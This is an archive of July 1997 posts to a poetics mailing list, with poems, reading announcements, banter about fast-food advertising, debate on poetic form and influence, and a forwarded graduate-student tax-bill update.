before our very eyes turns dark
yet the brilliance of its sounding
makes one turn back

for one last look at the horizon

where the rough grass lies
silhouetted by a blue so sharp
it cuts the eyes with its memories
cuts it sharp as any stone in field

as any tongue in mouth
crying to the ear
. . . crying to the a-i-r

my beloved
i have

found you

--dbKiro

↑ Index

894. **dbkk**
Re: execution/myth and poetry
Mon 28 Jul 1997

At 8:42 AM -0400 7/28/97, Daniel Bouchard wrote:

> *It takes so long to write posts like these, with the citations questionable but not the essence of the material and work piling up before me, etc.*

Dan,

This is what I love about the internet--the web particularly--the way it abounds with random, questionable information. The tension between the authority of written word and a form which is no more reliable than conversation.

Dodie

↑ Index

895. **Mark Weiss**
Sacco & Vanzetti
Mon 28 Jul 1997

The Rexroth poem to which I referred is "Climbing Milestone Mountain, August 22, 1937," pp. 89-90 in _The Collected Shorter Poems_.

It's a constant source of dismay to me that the decade 1965-1975 has become, with astonishing speed, a subject for university courses, almost a discipline, as aging college profs try to rewrite their youths, while the once-subversive and seductive passions of almost everything that came before gather dust and are lost to memory. Important to remember that the greatest grassroots movement of the post-Vietnam period thus-far has been the struggle to restore classic coke.

↑ Index

896. **David Israel**
Re: Sacco & Vanzetti
Mon 28 Jul 1997

Mark Weiss notes --

<< Important to remember that the greatest grassroots movement of the post-Vietnam period thus-far has been the struggle to restore classic coke. >>

I assume that with the plethora of hot-dog postage circa Friday, this is intended as an appropriate afterlude.

(As said Woody Allen: man lives not by bread alone.
Sometimes he requires a beverage.)

d.i.

↑ Index

897. **simon**
Re: Doggie Diner, Curtis Faville
Mon 28 Jul 1997

"the hot dog stand is open" (in DARE II) is what one man in South Carolina says to warn someone his (sic) fly is open.

beth

(you can get a special price for DARE now.)

↑ Index

898. **Don Cheney**
bumpersticker
Mon 28 Jul 1997

Carl's Jr. fast food out here in California has a new ad campaign that centers around the phrase "eat meat." as funny as that is, the funnier (is "funnier" a word, seems kind of, well, funny) thing is that they are handing out bumper-stickers portraying a yellow star with a smiling face on it and next to it the phrase:

EAT MEAT

who comes up with these ideas and can't anyone on the committee to promote fat and cholesterol SEE? it DOESN'T take a rocket scientist to figure out that this phrase can be easily altered with scissors to create an even funnier phrase!

don

==========
Don Cheney San Diego, CA, USA
http://www.geocities.com/Paris/5791
[redacted]
==========

↑ Index

899. **william marsh**
bumpersticker / m/eat
Mon 28 Jul 1997

EAT EAT ? -- Just kidding, don, i see your point.

And while on the subject, i wonder what other tv enthusiasts on this list think of same Carl's Jr.'s "all over the place / all over your face" campaign. What kind of thinking renders the conclusion that the sound and sight of big globs of red sauce dripping from the jowls of generally big, sweaty guys is *appealing* to the fastfood crowd? Really, where DO those ideas come from?

Similarly: our local food co-op sells the bumpersticker: "friends don't let friends eat meat", which is equally amusing when scissored at both the front and back ends...

bmarsh

At 04:13 PM 7/28/97 -0400, you wrote:
>Carl's Jr. fast food out here in California has a new ad campaign that
>centers around the phrase "eat meat." as funny as that is, the funnier (is
>"funnier" a word, seems kind of, well, funny) thing is that they are
>handing out bumperstickers portraying a yellow star with a smiling face on
>it and next to it the phrase:
>
>EAT MEAT
>
>who comes up with these ideas and can't anyone on the committee to promote
>fat and cholesterol SEE? it DOESN'T take a rocket scientist to figure out
>that this phrase can be easily altered with scissors to create an even
>funnier phrase!
>
>don
>
>==========
>Don Cheney San Diego, CA, USA
>http://www.geocities.com/Paris/5791
>[redacted]

>==========
>
>

↑ Index

900. **Mark Weiss**
Re: Sacco & Vanzetti
Mon 28 Jul 1997

Good catch, David, but it's literally true. there were public demonstrations by hundreds of thousands.
How quickly they forget!

At 03:33 PM 7/28/97 -0400, you wrote:
>Mark Weiss notes --
>
><< Important to remember that the greatest grassroots movement of the
>post-Vietnam period thus-far has been the struggle to restore classic coke. >>
>
>I assume that with the plethora of hot-dog postage circa Friday, this is intended
>as an appropriate afterlude.
>
>(As said Woody Allen: man lives not by bread alone.
>Sometimes he requires a beverage.)
>
>d.i.
>
>

↑ Index

901. **David Israel**
(no subject)
Mon 28 Jul 1997

Don Cheney adds this demotic note --

<< Carl's Jr. fast food out here in California has a new ad campaign that centers around the phrase "eat meat." as funny as that is, the funnier (is "funnier" a word, seems kind of, well, funny) thing is that they are handing out bumper-stickers portraying a yellow star with a smiling face on it and next to it the phrase:

EAT MEAT

who comes up with these ideas . . . ? . . . >>

what I'm wondering is: does this suggest a commercial attempt to capitalize on (& consolidate in language-in-circulation) a sort of contra-PC-ish-ness w.r.t. meat eating? -- i.e., the idea of an "in your face" gesture: the bumper sticker as a sign of identity ("I am what I like to eat") -- so that, in a highly bumpersticker-sensitive society, contrarian responses could be anticipated:

NOTHIN' BUT TOFU

or

BROWN RICE! (19 years & counting)

or even a retro

EAT YOUR VEGETABLES!

in short: a war of the comestibles?

What I'm trying to get at here, is the observation that, evidently, the fast-fooders are feealing conceptually cornered by science facts & culture trends, and are trying to lash out / take a stand / make a statement / gather a following / or something . . . (??) -- Carl Jr. as the avant garde in a culinary campaign of carnivore reaction? . . . (just as other companies position themselves as proxies of hipness nostalgia etc.)

the language of advertising at the Carl Jr. level lacks the finesse one gets used to in pages of Vanity Fair or The New Yorker -- but then, perhaps the target audience is believed not quite as accustomed to subtlety & irony, &c. . . .

d.i.

↑ Index

902. **Don Cheney**
Re: THE THING
Mon 28 Jul 1997

---

david, i think you're right about what is on the minds of the fast-fooders. another funny carls jr. ad campaign is the poster in the window of the local site: a picture of a hamburger with the phrase BITE THE BIG ONE! underneath it!

seems like a conscious effort to attract kids. maybe someone can get a lawsuit started. you know, someone who's been eating at CJs for some time and has horribly clogged arteries, high cholesterol, etc. lawsuits could be combined mirroring the recent tobacco company lawsuits (2nd hand smoke/nicotine/Joe Camel). these lawsuits would target CJ for the myriad of problems caused by consuming meat and with deliberately targeting/enticing kids to eat meat.

and targeting kids is just the start. i'm sure something could be worked up for mcdonalds targeting the black community AND kids, etc.

don

david israel wrote:
>What I'm trying to get at here, is the observation that, evidently, the fast-fooders
>are feealing conceptually cornered by science facts & culture trends, and are
>trying to lash out / take a stand / make a statement / gather a following / or
>something . . . (??) -- Carl Jr. as the avant garde in a culinary campaign of
>carnivore reaction? . . . (just as other companies position themselves as proxies
>of hipness nostalgia etc.)
>
>the language of advertising at the Carl Jr. level lacks the finesse one gets used to
>in pages of Vanity Fair or The New Yorker -- but then, perhaps the target
>audience is believed not quite as accustomed to subtlety & irony, &c. . . .
>
>d.i.

↑ Index

903. **David Israel**
Re: THE THING
Mon 28 Jul 1997

---

quiet these days at the listserv corral --
all gone to Bermuda or the Hamptons? --
(we lingering hangabouts must carry on?) --

from Don Cheney --

<< ... seems like a conscious effort to attract kids. maybe someone can get a lawsuit started. you know, someone who's been eating at CJs for some time and has horribly clogged arteries, high cholesterol, etc. lawsuits could be combined mirroring the recent tobacco company lawsuits (2nd hand smoke/nicotine/Joe Camel). . . . >>

unlikely in the near term (by & large, burgers in our culture aren't so much given
up as transcended; -- and then rarely absolutely) --
but as for Joe C, there was this cartoon in last week's New Yorker:

two boys (in t-shrts & shorts & sneakers & baseball caps)
are standing at a street corner, smokin' ciggies -- says one:

I was all set to quit, but when
the bastards killed off Joe Camel
I swore -- *never*.

d.i.

↑ Index

904. L.MacMahon and T.R.Healy

aliens landing

Tue 29 Jul 1997

Maurice Scully, Catherine Walsh, Billy Mills and Randolph Healy will be travelling from Ireland to read and discuss their work at Brown University on the 3rd and 4th of September.

If any kind soul was interested in helping to arrange other readings while we're all in the U.S. of A they can contact me at the above e-mail address

best wishes

Randolph Healy

↑ Index

905. Layne Russell

Re: Yvonne Rainer . . .

Tue 29 Jul 1997

Bennett M. Sm [Dimpson wrote:
>
> For those interested, there is a longish and info-packed interview with
> Yvonne Rainer in the July "Art in America." Chronicles early dance,
> performance, shift to film, personal live, family history, zeitgeist
> particularities, politics, etc. Enjoyable, too. Interview by Thyrsa
> Goodeve.

thank you, thank you! will find. Yvonne was very inspirational to me...spoke my language, at least some of it...along with Barbara Dilly.

layne

[redacted]
http://www.sonic.net/layne
"A Quiet Place" -- Poetry

http://www.sonic.net/layne/calendar.html
"Poets Leave Their Prints" -- Poetry Calendar

↑ Index

906. L.MacMahon and T.R.Healy
body dance
Tue 29 Jul 1997

---

cris wrote:

>>>Basil Bunting
declared that 'Poetry must be read aloud'. How many do that. And when they do, how aware are they of the subtle particularities of what Steve Paxton calls the small dance , taking place in their bodies?

Any thoughts? I'm keen to hear on this<<<

This is something which has interested me for some time. The entire body is continually mapping and consulting with what becomes constructed at various levels as realities. In one model it absorbs/seeks out about one hundred billion bits per second, the mind/perception at the same time swimming in a data space many many times this size. This raises all sorts of interesting questions. Clearly not all of this activity is conscious. However, by subconscious I do not mean the gizmo laden productions of Freud et al. Not that I am necessarily against, or for, them. I simply mean to refer to a well of far from raw data/experience which is not always available at will.

Memories can seem to lodge in the body, one can see people fall into coherent posture-dialects as they talk about particular things. I am interested in seeing how this might relate to the creative process. By focusing in a meditative way on particular parts of the body, e.g. the feet, subtler and subtler sensations arise which may then transform into images or sounds. There are also breathing techniques which stimulate "dead" parts by altering the oxygen/carbon dioxide balance. (This can lead to a full body orgasm. You have been warned.) Temperature is another medium. I tried things like somatic meditations in a sauna longer and longer times (drink lots of water before and after). And texture: walking incredibly slowly in bare feet and noticing every sensation. When doing any of these exercises, I would avoid having any desire to come out of it bearing a hot little poem in my hand. Rather the idea is to open out in general, to enjoy doing nothing, to notice the subconscious (I have an idea that it can get quite crotchety if ignored constantly or indeed if it feels one is exploiting it for creative software), to remember that I have a body.

Yes and yes to reading aloud. And to noticing.

Randolph Healy

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907. **Maria Damon**
Re: THE THING
Tue 29 Jul 1997

At 6:27 PM -0400 7/28/97, Don Cheney wrote:
>david, i think you're right about what is on the minds of the fast-fooders.
>another funny carls jr. ad campaign is the poster in the window of the
>local site: a picture of a hamburger with the phrase BITE THE BIG ONE!
>underneath it!
>

one of the things i miss about the bay area is the visibility of the gay community and its humor. the first time i saw that burger joint in the castro called Hot n Hunky was a moment of sheer delight. Seriously, though, i think the meat industry is indeed in a backlash, viz the new "in the zone" food combining diet and its emphasis on meat.

↑ Index

908. **Robert Hale**
Re: elaborating multiples
Tue 29 Jul 1997

The characterization of various poets as later-day practioners of various schools could apply to anyone, anytime, anyplace, and threatens to spark another banal influence/originality thread. The issue is how and why do these poets use these influences time and again to write. As far as changing forms constantly -- that's a good thing, but as a reading of your own work, it takes on characteristics of progress, evolution and technology. Critiquing one's own work is a bit like the transference in psychoanalysis. This would eclipse the idea that you can "do whatever you want in poetry," also the historical determinism you outline is still a specter to us all. I'm sure you would agree that history is still dialectical (despite the power of the irony you describe), and its tensions give rise to the choices poets make in how and what they write.

At 03:37 PM 7/23/97 -0400, you wrote:
>Thanks very much, Jordan, for suggesting that I might say more! What could
>be more fun than elaborating!
>
> I think, in this case, that Henry Gould's comment is almost
>exactly what I mean--a conscious multiplicity of form in a writer might
>seek a radical alteration of formal perspective from book to book, from
>poem to poem, or even within a single poem. It's one of the things my own

>poetry has been about, frankly. My first book was very much about
>shifts in perspective from line to line; I've done very lyrical work like
>in my Standing Stones chapbook and in things like the Oblek anthology; I
>published a book of Sonnets last year (not quite traditional ones); I've
>worked with chance and "deterministic" techniques in an issue of Abacus;
>and my soon to be available Edge Book might be taken for Ron Silliman-like
>parataxis if I
>didn't so consistently lack his intelligence. Some books I've done have
>been more or less in a single structure which I then don't use again;
>other things I've done shift structure within the work. I published in
>AVEC, "The Necessity of Feet" a 12-page poem in which the
>form of each page was consciously different, and I've done that several
>other times as well. I've been pushing this structural shift within works
>lately; I've got a piece I think of as a long (about 50 page) poem in
>which I try to call up as many different structural shifts as I can think
>of, although certain structures do repeat (I'm not so interested in
>complete differences of structure as I am in the tension between
>similarity and difference in structure).
>
>So that's where I'm at. What this attempt has to do with the work of other
>writers of my generation is not clear. Certainly my attempt is NOT new or
>particular to this moment in time, but I'm less interested in whether it's
>new as in whether it feels worthwhile at this moment, and I think it does.
>By no means do I think of my own attempt as characterizing the work of
>other writers of my generation--it clearly does NOT characterize them, or
>at least more than some of them. But while I am sympathetic to Henry's
>assertion that the matter CAN'T be considered from merely a generational
>perspective, what I DO think is true is that many writers of my own
>generation (which is more or less yours, Jordan, I guess, maybe) have a
>different relation to the history of the poetries we've
>read. And I think the difference is THIS; that because of historical
>circumstances, many of us have learned about more differing traditions of
>poetry than any previous generation of writers, which gives us both
>increasing options as well as increasing irony about the idea that some
>"new" direction in poetry is going to save or make anybody. Some of my
>langauge poetry friends describe coming up in a time where repression of
>poetic possibilities seemed the rule, but equally a time in which they
>seem to have felt that their poetic revolution would be heard, someplace
>or other. My own sense is more like I can do anything I want in poetry,
>with little chance of it being heard anywhere. This is a bit of an
>exaggeration, of course, but it's like what they say about freedom of
>speech in the U.S.--you can say what you want because nobody's

>listening. I don't, for the most part, encounter students or even
>professors who are "resistant" to formally experimental poetry, or who
>desire formally traditional verse. I encounter students and professors who
>usually don't read any contemporary poetry at all. There are obviously a
>few exceptions, but I do mean a FEW. And certainly it's true that more
>formally conservative approaches still get most of whatever CASH there is
>in poetry.
>
>Non-poetry people are probably not the point, of course, so I'll get
>back to the subject. In his forthcoming article, Mark Ducharme is right
>that my arguments don't DESCRIBE the writers of my generation. But I never
>meant them to. Still, what IS at stake in a description of such writers?
>And I think there are some pretty interesting answers here. If these
>writers are characterized by "diversity," then we're describing a kind of
>free-for-all smorgasborg of writers borrowing from various traditions all
>of which are okay. But we're not NECESSARILY describing writers with
>consciousness about form, or writers working out of any more than singular
>traditions. IN the worst case scenario, for my money, we all end up
>seeming borrowers of earlier and more vital traditions--Jordan Davis and
>Lee Ann Brown are latter-day New York School, Rod Smith and Jefferson
>Hansen are latter-day language poets, Jennifer Moxley likes traditional
>lyrics, Lisa Jarnot is just imitating Bernadette Mayer. And I've heard
>enough arguments LIKE that to know that the risk that things will be taken
>that way is real. But it would also, of course, be wrong.
>
>So I see a number of reasons for polemically asserting the value NOT of a
>free smorgasborg of traditions but of a conscious shifting, rearranging,
>and perhaps violating of the various poetic frameworks which existed
>before we did and which became part of our education. I'm not sure whether
>Joel's post indicated some annoyance with ME that these issues keep coming
>up, but as long as people keeping asking questions like "What's
>next?" I see a value in trying to answer them, even if part of that answer
>must be a deconstruction of the question. And the issue is NOT simply
>about anxiety regarding language poetry--it's about finding poetic
>structures that make SENSE as a response to the world in which we find
>ourselves. And I don't think that's a question that any poet can really
>avoid. My saying that, of course, won't make it so--I think where Mark D's
>point about diversity has the drop on me is that MY conviction about what
>matters will never be everybody else's. Thankfully, I guess, and not, I
>guess.
>
>Mark Wallace

```
>
>
>/-----------------------------------------------------------------------\
>|                                                                       |
>|     [redacted]                                                        |
>|     GWU:                                                              |
>|      http://gwis2.circ.gwu.edu/~mdw                                   |
>|     EPC:                                                              |
>|      http://writing.upenn.edu/epc/authors/wallace                     |
>|_______________________________________________________________________|
>
>
```

↑ Index

909. David Kellogg

back after breather: still looking for Erica Hunt

Tue 29 Jul 1997

Hello all,

I'm back after a one-month unannounced hiatus -- went out of town, set poetics to nomail, liked the peace and quiet for a while but am back in the fray now.

Hope nobody tried to contact me via the list.

I'm still trying to contact Erica Hunt, by the way -- anybody have contact information? Thanks!

Cheers,
David

910. **henry g**
Re: elaborating multiples
Tue 29 Jul 1997

On Tue, 29 Jul 1997 08:12:17 -0700 Robert Hale said:
>The characterization of various poets as later-day practioners of various
>schools could apply to anyone, anytime, anyplace, and threatens to spark
>another banal influence/originality thread. The issue is how and why do
>these poets use these influences time and again to write. As far as changing
>forms constantly -- that's a good thing, but as a reading of your own work,
>it takes on characteristics of progress, evolution and technology.
>Critiquing one's own work is a bit like the transference in psychoanalysis.
>This would eclipse the idea that you can "do whatever you want in poetry,"
>also the historical determinism you outline is still a specter to us all.
>I'm sure you would agree that history is still dialectical (despite the
>power of the irony you describe), and its tensions give rise to the choices
>poets make in how and what they write.

"Critiquing one's own work" does bring up the problem of recursive logic or the endless hall of mirrors effect (if it's not just conflict of interest). Is it possible that in the real world poetry and criticism work in tandem - the critics reading back into the work of the past in the context of history & the clash of world-views in order to discover authentic - deep sense - what redeems the time - & poets meanwhile implanting "how to read" directions in their poems based on their own prior critique/borrowings of past endeavors... but then recursiveness is built into nature, & poets should be able to talk about what they're doing, even if it's to lead astray - & who are these poets & critics? & what is authentic poetry? do individuals exist in writing - or is there an impersonal standard & an impersonal memory & a tradition implanted in languages we are trying to re-en-act? (or overturn?) Say what, Socrates? Can you dance to it? Repent to it? ? = ?[?] - Henry g.

↑ Index

911. **Gwyn McVay**
Re: back after breather: still looking for Erica Hunt
Tue 29 Jul 1997

Speaking of looking for people, does anyone have contact info for Juliana Spahr, Lois-Ann Yamanaka, Bob Perelman, or Kevin Davies? Asking on behalf of fellow Masonites--or Mason's Children, or however you prefer; honorable intentions only, nothing satirical planned.

bests
Gwyn

↑ Index

912. **David Israel**
Re: elaborating multiples
Tue 29 Jul 1997

Henry G [avuncular sideman / pseudonymous alterego / parallel-universe avatar: the Double Life of Kenny G? -- pardon, just noting the letters] writes

<< "Critiquing one's own work" does bring up the problem of recursive logic or the endless hall of mirrors effect . . . Is it possible that in the real world . . . poets . . .implant... "how to read" directions in their poems . . . but then recursiveness is built into nature, & poets should be able to talk about what they're doing, even if it's to lead astray - & who are these poets & critics? ....>>

that "recursiveness is built into nature" is one to ponder -- well said.

This discussion calls to mind (you'll pardon a putative mainstreamism?) ex-laureate Mark Strand's little vol *The Monument*, which has (if memory serves) an explicit conceit w.r.t. how it's intended to be read, to wit:

in translation.

The book claims (as I recall) that it's really written for purpose of being read (centuries -- or so -- later) in translation. I didn't happen to reach the end of the poem (but no matter, I was reading the English original, & so wouldn't "get it" anyway). Ergo can't elaborate on this authorial conceit; -- but perhaps this book does address (or skirt around, or circumambulate, or carry to market, or . . .) a few of the issues that might be at issue here. ...

d.i.

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913. **Alan J Sondheim**
Stentar Caeruleus (fwd)
Wed 30 Jul 1997

--

Stentar Caeruleus

Breath leaves a carpse, carrying anly
Final banes af wards always, and anly
Skein af blaad and entrails, anly
Wards ance wet with mauth's tangue, anly

Palisades crest apen, merely
Carry crests af signs, sa merely

Spaken by the dead mauths, merely
Mauth wards wet and distraught, merely

Anly carpse blanks death's trap, breath
Anly banes and wards are ever final,
Anly entrails snare life's skein,
Anly tangues mauth dead wet wards,

Merely crassing palisades,
Merely farming crests that carry,
Merely what was never spaken,
Merely tangue sharn fram the mauth,

Merry, lanely, brat's skin af swards
Tarry fusillades, gare braken shauts.

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914. Lawrence Upton
UK reading
Wed 30 Jul 1997

In case anyone on the list will be in UK or has friends they might want to tell...

The reading on 28 8 97 by Jane Augustine, Ed Foster, Michael Heller, & Burt Kimmelman has already been announced here but this is to confirm that it is at the usual venue

Upstairs
The Three Cups
Sandland Street
London WC 1

Holborn tube

Admission five pounds or two pounds fifty for the unwaged unrich

After that, the next readings involving Sub Voicive Poetry are

19 9 97 Worlds of New Measure: Clive Bush, Bill Griffiths, Barry MacSweeney and others

23 9 97 Jerome Rothenberg / Pierre Joris

a full listing for the coming season will be posted here at the same time as the London-based postal mailshot later this month

L

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915. Lawrence Upton
Quantity & Quality
Wed 30 Jul 1997

<<Interested in hearing what people have to say about "quality and quantity". That familiar "s/he's too prolific" can be pretty irksome for poets at times. It is most frequently levelled at those poets who are "experimenting" with language - one digression per financial year being more than enough... Fiction writers tend not to get it as much, and for "genre" writers it's usually seen as a plus!>>

i am never forget an ancient tv image of robert graves tough and wiry and game playing and bossy showing how he put together a poem line by line draft by draft - there was more than an element of someone saying _This is how you must deal with bills of lading_

and then he summed up the page count per year, whatever it was, and said _It's not very much, is it?_ with considerable satisfaction

it's a strange idea and in UK at least seems to be associated with the mean spirited everything has gone down hill since we were romans nonsense, culling bits of beauty from the wastes of time, the lonely poet struggling for perfection

Some people produce more than others for sure but I can't see any relationship between quantity and quality as such - there are certainly those who might publish more interesting work if they looked at their typescripts before issuing them - but being careless isnt the same thing as being prolific

L

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916. Henry
Re: elaborating multiples
Wed 30 Jul 1997

the only really interesting subject [according to the Mouth of Gould on Wed. a.m. in Providence] despite many dixcursions & cursed reasonings about phonemes, parallelograms, quarks of style, & so forth, is

the relation between public & private & poetwy's pwace therein [if it has one]

mainstweam poetwy demonstrates recursiveness in the turbid flow patterns of echolalia & hype [Jorie Graham's dog has the same name as my neme-sis]

"language poetry" is a recursive statement right here [referring back on itself into the prima don materio]

"caustic" is a term in billiard mathematics having to do with endless repetition of bounces within concentric circles

poetry writes itself into a corner & then recognizes itself in the strange idiom in the other room

it will remain undefined because only YOU can create forest fires

sifted letter by letter, line by line [Isaiah taunts the sepulchres with a recursive curse: see Sir Thomas Browne on the eternity of human monuments (there is none)] [Browne, _Urn Burial & the Garden of Cyrus_ - a GREAT read] - Hank O'RI

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917. **henry gould**
Re: email address
Wed 30 Jul 1997

Hello John Kinsella - Ed Foster's email is [redacted] - but I'm not sure how much he reads it. You could ask Joel Lewis, who is an assoc. editor I think - he's at [redacted]

- Henry Gould

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918. **John Kinsella**
Quantity & Quality
Wed 30 Jul 1997

Interested in hearing what people have to say about "quality and quantity". That familiar "s/he's too prolific" can be pretty irksome for poets at times. It is most frequently levelled at those poets who are "experimenting" with language - one digression per financial year being more than enough... Fiction writers tend not to get it as much, and for "genre" writers it's usually seen as a plus!

Best
JK

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919. **Christopher Alexander**
Tax Bill Details
Wed 30 Jul 1997

I thought this might be of interest to some list members (I hope so, anyway). it was forwarded to me from a local (to me, that is) member of the National Association of Graduate & Professional Students (I like that bit about "professional students"), who are preparing to meet with

our local Representative, Merrill Cook, over some of the
issues raised below. best, Chris

------- Forwarded Message Follows -------

For all who have been in suspense of how the chips are
falling -- here's an update

7/24/97

NAGPS Update
Conference Report on Tax Bill Released
Kevin Boyer, NAGPS Executive Director

** Thanks to NAICU, CGS and the Chronicle of Higher Ed for help in accessing this information **

The Republican agreement on the Tax Bill has been made public via a report from the Joint Committee on Taxation titled "Summary of Conference Agreeement Relating to the Major Revenue Provisions of HR 2014 "The Revenue Reconciliation Act of 1987." NAGPS is still attempting to get clarification on some of the provisions of interest to grad students. This update will focus just on graduation/professional students - a future update may broaden the information to include various tax proposals of interest to undergraduates.

1. 117d - WE WIN!

As promised over the last 3 weeks, section 117d of the Internal Revenue Code was not eliminated from the tax code in the conference bill. Though language does not appear in the summary, this is being interpreted as an indication that the conferees chose to leave Section 117d of the Internal Revenue Code alone. NAGPS was promised by conferees' staff that graduate teaching and research assistants would be protected ("we get the message," they said). The tax exemption of undergraduate tuition benefits for faculty, staff and dependents of university employees appears to have also survived. Many have suggested to us that the work of the grad students on the tuition waiver tax issue may have pulled the faculty/staff benefits with it in the minds of the conferees. We are thrilled that the Senate position prevailed, and appreciate the hard work of the House members (both Republican and Democratic) who worked to ensure 117d remained part of the tax code.

2. 127 - WE LOSE!

Section 127 of the Internal Revenue Code allows for employer provided educational assistance to be given to an employee without that benefit accruing tax on the first $5,250 of the benefit. Present law expired for undergraduate tuition on 5/31/97, and for graduate tuition on 6/30/96. The Senate position was to make Section 127 permanent for undergrads and grads. The House

position was to extend Section 127 for undergrads only through 12/31/97. The conferees chose to extend Section 127 for undergrads only through 6/30/00 (3 years).

We are disappointed in this development and we urge students and their families to contact the White House to ask that the president push for the original Senate position in this legislation. The Senate position has broad bipartisan support in both the House and the Senate.

3. Student Loan Interest Deduction - WE WIN!

If this legislation becomes law, student loan interest will be tax deductible for the first time since 1986! This has been at the top of the NAGPS legislation agenda for 10 years and we are ecstatic that the Senate provision survived the conference. President Clinton has indicated strong support for this provision, as well. Thanks should go to the Senators on the Finance committee, particularly Senators Grassley, Moynihan and Roth, for their support of this provision.

The win is not completely untainted, however. The original Senate provision allowed for an up to $2,500 deduction for interest payments for the first five years of repayment. This provision would have been phased out for single taxpayers earning between $40K and $50K. Married taxpayers would have had the phase out between $80K and $100K if filing jointly. The conference position increases the phaseout for single taxpayers, phasing out between $40K and $50K. The married phase out, however, was dropped to from between $60 and $75K. This reduction essentially punishes married couples if both work.

The idea behind the $2,500 deduction is to help graduate students manage their post-graduation debt. This debt for some professional students exceeds $100,000. NAGPS supports a return to the original Senate position on the married couples phase out and we will urge the President to stand firm to avoid this marriage penalty.

4. Tuition Tax Credit - UNCLEAR

The conference position on tuition tax credits is not yet clear to us. The conferees accepted the Senate position of a $1,500 credit for the first two years of college (Hope scholarship). However, the tuition tax credit beyond the first two years is only 5% of up to $5,000 in expenses. (This translates to a $250 reduction in tax liability for those paying $5,000 or more in tuition). The Joint Conference Committee report says "5% credit for up to $5,000 of expenses for education after second year of college." On the surface, this would seem to imply that graduate education would qualify for the tuition tax credit, as well. However, today's Wall Street Journal says that the tax credit is available for students in their 3rd and 4th years of college. The WSJ article doesn't suggest that

the credit will NOT be available for graduate education - indeed, the WSJ reporter may not have even thought of graduate education.

NAGPS has phone calls into the tax staffers to gain clarification on this issue.

If graduate education qualifies for a tuition tax credit, we will be pleased to have something in this part of the bill. However, this is a far cry from the President's proposal of a 20% tax credit on up to $5,000 in tuition through the year 2000 and 20% tax credit on up to $10,000 in tuition afterward. The President's proposal is 4 times better over the next 3 years and 8 times better after that. While a $250 credit would be welcome, NAGPS continues to strongly favor the President's proposal. We will be asking the President to clarify the tax credit to ensure that it goes for graduate education, and ask him to negotiate for a higher tax credit than 5%.

5. IRA withdrawals - WE WIN!

The proposal to allow for penalty-free withdrawals from all IRAs for undergraduate, post-secondary vocational, and graduate education expenses was included in the compromise bill.

6. Education IRAs - WE WIN!

The Senate proposal to allow for Education IRAs that could be used, tax-free, for undergraduate and graduate education was included in the compromise bill (the House version would have extended many of the benefits to undergraduate tuition only).

####

In summary, the Conference Agreement provides some real tangible tax relief to graduate/professional students. We are relieved that in many cases, the Senate negotiators prevailed on the Senate position, since the House bill had little or nothing in it that focused on graduate education.

NAGPS is disappointed that some of the provisions in the Senate bill were apparently lost in conference. We are particularly concerned about Section 127, the married income phase-out for the Student Loan Interest Deduction, and the decision to lower the tuition tax credit beyond the first two years of school (and the lack of clarity on this issue as it applies to graduate education).

Interested graduate/professional students should communicate a strong pro-education message to the White House, asking that the President continue to strongly negotiate for the provisions that were in his original proposals and which will benefit graduate education. We appreciate the President's support of graduate/professional education and encourage him to keep this vital

segment of our nation's post-secondary educational system at the top of his list when negotiating with the Congress.

Specific details on the message we will recommend, and to whom you should direct your comments will be forthcoming in the next several hours. In the meantime, you may direct email messages to the President at [redacted], and to the Vice President at [redacted]. Watch our web site for sample text, additional contact names, numbers and email addresses, and more updates.

In summary, NAGPS is very proud of the role we have played in preserving tax benefits for the nation's graduate TAs and RAs. But we are even prouder of the strong citizen advocacy of our nation's graduate/professional students. Those of you who exercised your democratic right to participate in the political process are really the reason we saved 117d, and your voices were definitely heard. Please don't stop now - negotiations on the tax bill continue, and appropriations legislation and higher education reauthorization legislation now take center stage. Without your voices, NAGPS is not as strong in Washington, DC.

..
Christopher W. Alexander etc.
nominative press collective

[redacted]
P.O. Box 522402 / Salt Lake City UT 84152-2402

http://choengmon.lib.utah.edu/~calexand/nonce

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920. **Burt Kimmelman**
Re: email address
Wed 30 Jul 1997

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as far as i know ed foster's address (talisman) is down for now.

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921. **dbkk**
Anne-Marie Albiach tribute at SPT
Wed 30 Jul 1997

Before I announce this event, I'd like to tell all the U.S. and Canadian poets on the list who signed the Anne-Marie Albiach birthday cards that Norma Cole delivered them to Albiach, and Albiach was so thrilled that she called Kevin and me yesterday--our second phone call ever from France! So thank you all for making this project a success.

Dodie

Small Press Traffic presents

Bon Anniversaire!
a celebration of the 60th birthday of Anne-Marie Albiach

readings and hommages by

Norma Cole
Barbara Guest
Benjamin Hollander
Michael Palmer
Mary Margaret Sloan
Cole Swensen

Friday, August 8, 1997
7:30 p.m.
New College Theater
777 Valencia Street, San Francisco
$5

Gâteau will be served!

Anne-Marie Albiach, one of the most important writers of today, lives quietly in Neuilly-sur-Seine (France). Six American admirers will toast her long distance and read from her work at this, the opening of Small Press Traffic¹s 23th season. ³There is no other poetry like Albiach¹s in the world,² wrote Paul Auster. ³Even at its most difficult its passions are mesmerizing.² Rosmarie Waldrop has characterized Albiach¹s poetry as ³words broken off by silence, the edges rough, giving off sparks like live wires.² Please join us for this important jour de fête.

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922. John Kinsella
email address
Wed 30 Jul 1997

Would anyone have an editorial email address for Talisman they could backchannel to me?

Thanks.

Best
JK

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923. **p. durgin**
Campus by night
Wed 30 Jul 1997

GRIMEY OLIVE

Do emote. Try. Freesweet sugar.
In sheer night of sea-imitation
        Insistence of ground loop.
        Joint justification of the couplet.
    Awful good, pack your tick, cruel
    Bicker, bewilder thick, pointed
                Vilification of the luckwit.
                Another affecting trammel.
          A standing lunch rush. In-
          Iquitously prep chef hopes
        Into leaf bed. Must be moral
        Function, no peregrine langor.

HIRSUTE PEACH

        So-called edens of commodified melancholy
        To become uncritically devoted, disinherited
          Of lunch smite. That's a bad bunch out to
          Accoutre the fields beyond your chill green lawn.
    Awful good bewilder, standing rush to freesweet
    Sugar in luckwit. No peregrine langor, no nymph.
Joint justification of fore. Low relief as
Grimey olives, hirsute peach, resistence at
              The core. Intermittance is after all not
              Perturbed constance. Do emotry.

              I[I]I [redacted] I[I]I

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924. **Stephen C. Ellwood**
You have no hearts,
Wed 30 Jul 1997

(She had a grave loss. You wouldn't know about this kind.)

She is alone. He was so slight, and so precious, and she loved him inhumanly. The way you won't let her say, cause of the stains But he loved the stains and would smell them with his mouth open (they have a special gland or receptor for smelling in the mouth, in the memorymouth)and then lick 'em. And he's dead, Get it! Dead, like the ballerina I mentioned, dead of hunger and struggle,

